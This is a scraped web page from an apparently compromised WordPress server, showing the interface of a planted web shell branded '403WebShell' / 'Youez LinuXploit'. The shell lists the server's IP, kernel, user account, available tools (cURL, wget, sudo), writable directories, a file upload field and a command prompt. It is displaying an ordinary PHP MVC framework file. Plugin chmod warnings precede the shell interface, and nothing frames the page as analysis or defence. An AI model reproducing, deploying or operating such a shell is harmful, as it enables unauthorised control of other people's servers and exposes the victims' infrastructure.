Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldcore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldcore/framework.php
<?php
/*
 * based on PIP v0.5.3

			<IfModule mod_rewrite.c>
			RewriteEngine On
			RewriteBase /

			RewriteCond %{REQUEST_FILENAME} -s [OR]
			RewriteCond %{REQUEST_FILENAME} -l [OR]
			RewriteCond %{REQUEST_FILENAME} -d

			RewriteRule ^.*$ - [NC,L]
			RewriteRule ^.*$ /core/framework.php [NC,L]

			</IfModule> 
 */

//Start the Session
session_start(); 

// Defines
define('APP_DIR', realpath(dirname(__FILE__)) .'/');

// Includes
require(APP_DIR .'config/config.php');

class Model {

	private $connection;

	public function __construct() {
		global $config, $DATABASE;
		if (!is_object($DATABASE->dbobj)) $DATABASE->Open();
	}

	public function escapeString($string) {
		global $DATABASE;
		return $DATABASE->formatString($string);
	}

		
	public function query($sql) {
		global $DATABASE;
		$resultObjects = $DATABASE->Query($sql, array($this, '__simple_callback'), array());
		return $resultObjects;
	}

	public function execute($sql) {
		global $DATABASE;
		$DATABASE->Query($sql, '', 0);
	}
    
	function __simple_callback(&$ITEM, &$param) {
		$ITEM[] = $param;
	}
	
}

class View {

	public $pageVars = array();
	private $template;

	public function __construct($template = '') {
		if ($template != '') {
			$this->template = APP_DIR .'views/'. $template .'.php';
		} else {
			$this->template = '';
		}
	} 

	public function set($var, $val) {
		$this->pageVars[$var] = $val;
	}

	function _render($filename = '') {
		extract($this->pageVars);

		ob_start();
		if ($filename != '') {
			require($filename);
		} else {
			require($this->template);
		}
		return ob_get_clean();
	}

	public function render() {
		echo $this->_render();
	}
}




class Controller {
	
	function __construct() {
	}
	
	public function loadModel($name) {
		require_once(APP_DIR .'models/'. strtolower($name) .'.php');
		$model = new $name;
		return $model;
	}

	// A view comprising of a minimal php template 
	public function loadViewTemplate($name) {
		$view = new View($name);
		return $view;
	}

	// a more complicated view
	public function loadView($name) {
		require_once(APP_DIR .'views/'. strtolower($name) .'.php');
		$view = new $name;
		$view->controller = $this;
		return $view;
	}
	
	public function loadPlugin($name) {
		require_once(APP_DIR .'plugins/'. strtolower($name) .'.php');
	}
	
	public function loadHelper($name) {
		require_once(APP_DIR .'helpers/'. strtolower($name) .'.php');
		$helper = new $name;
		return $helper;
	}
	
	public function redirect($loc) 	{
		global $config;
		if ($loc == NULL) {
			__idp_error_handler(1, 'Null Redirect', __FILE__, __LINE__);
			exit;
		}
		if (strpos($loc, '://') !== FALSE) {
			header('Location: '. $loc);
		} else {
			header('Location: '. $config['base_url'] . $loc);
		}
		exit;
	}
		
	public function DisplayPage($title, $body, $showtitle = 1, $template='', $shownavigation = 1) {
		global $USERID, $VARIABLE;
// display the page
		if($template == '') $template = 'template_page';
		$template = $this->loadView($template);
		$template->show_title = $showtitle;
		$template->show_navigation = $shownavigation;
		echo $template->Render($body, $title);
	}

	function Error($error_message) {
		global $config;
		$classname = $config['error_controller'];
		require_once(APP_DIR . 'controllers/' . strtolower($classname) . '.php');
		$obj2 = new $classname;
		die(call_user_func_array(array($obj2, 'displayerror'), array($error_message)));
	}
}

	function checkaction($controller, $action) {
		$newaction = str_replace(array('-', '.'), '_', $action);
		if ($newaction == 'list') $newaction = '_list';		// a reserved php keyword
		if(!method_exists($controller, $action) && method_exists($controller, $newaction)){
			return $newaction;
		} else {
			return $action;
		}
	}

	function start_pip() {
		global $obj, $config, $USERID, $VARIABLE, $segments;

		$segments = conf_RetrieveSegments();
		// Do our default checks  - overwrite our default controller  / action, if specified
		$controller = isset($segments[0]) && $segments[0] != '' ? urldecode($segments[0]) : $config['default_controller'];
		$action = isset($segments[1]) && $segments[1] != '' ? urldecode($segments[1]) : 'index';

		// Get our controller file
		$path = APP_DIR . 'controllers/' . $controller . '.php';
		if(file_exists($path)){
			require_once($path);
		} else {
			$controller = $config['error_controller'];
			require_once(APP_DIR . 'controllers/' . $controller . '.php');
		}
		
		// Check the action exists
		$action = checkaction($controller, $action);
		if(!method_exists($controller, $action)){
			if (method_exists($controller, 'defaultaction')) {
				$obj = new $controller;
				$val = call_user_func_array(array($obj, 'defaultaction'), array_slice($segments, 1));	// work out the correct action based on parameters
				if (is_array($val)) {
					$action = array_shift($val);			// parameters are swapped
					array_splice($segments, 2, 1, $val);
				} else {
					$action = $val;
				}
				unset($obj);
				$action = checkaction($controller, $action);
			}
		}
		
		if(!method_exists($controller, $action)){
			$controller = $config['error_controller'];
			require_once(APP_DIR . 'controllers/' . $controller . '.php');
			$action = 'index';
		}

		// Create object and call method
		$obj = new $controller;
		
		die(call_user_func_array(array($obj, $action), array_slice($segments, 2)));
	}
	
	start_pip();
	

Youez - 2016 - github.com/yon3zu
LinuXploit